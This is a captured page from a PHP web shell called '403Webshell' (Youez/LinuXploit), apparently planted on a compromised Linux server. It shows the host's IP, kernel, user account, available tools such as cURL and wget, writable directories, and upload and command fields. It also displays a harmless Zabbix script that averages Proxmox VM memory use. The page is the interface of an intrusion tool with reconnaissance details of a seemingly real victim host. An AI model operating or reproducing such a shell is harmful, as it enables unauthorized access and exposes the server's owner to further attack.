403Webshell
Server IP : 213.136.93.164  /  Your IP : 216.73.216.20
Web Server : Apache
System : Linux m14200.contabo.net 5.14.0-611.54.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 6 18:03:03 EDT 2026 x86_64
User : ki692510 ( 1047)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/zabbix/agentscripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/zabbix/agentscripts/proxmox_qemu_avg_mem_usage.sh
#!/bin/bash

set -o pipefail

################################################################ VM Count
vm_count_with_mem_usage=$(sudo qm list | tail -n+2 | egrep " (running|paused|inmigrate|internal-error|io-error|save-vm) " | wc -l)

################################################################ Ram Stats
ram_total=$(grep "^MemTotal: " /proc/meminfo | awk '{print $2}')
ram_available=$(grep "^MemAvailable: " /proc/meminfo | awk '{print $2}')
ram_used=$(( $ram_total - $ram_available ))

################################################################ Swap Stats
swap_used=0

while read loop_device loop_type loop_size loop_used loop_prio; do
    swap_used=$(( $swap_used + $loop_used ))
done < <(tail -n+2 /proc/swaps | grep -v ^/dev/zram)

################################################################ Calc total mem usage
mem_used=$(( $ram_used + $swap_used ))

################################################################ Calc avg mem usage for VMs
avg_vm_mem_used=0
if [[ $vm_count_with_mem_usage != 0 ]]; then
        avg_vm_mem_used=$(( $mem_used / $vm_count_with_mem_usage))
fi

# convert Kilobytes to Bytes
avg_vm_mem_used=$(( $avg_vm_mem_used * 1024 ))

################################################################ Output
echo $avg_vm_mem_used

Youez - 2016 - github.com/yon3zu
LinuXploit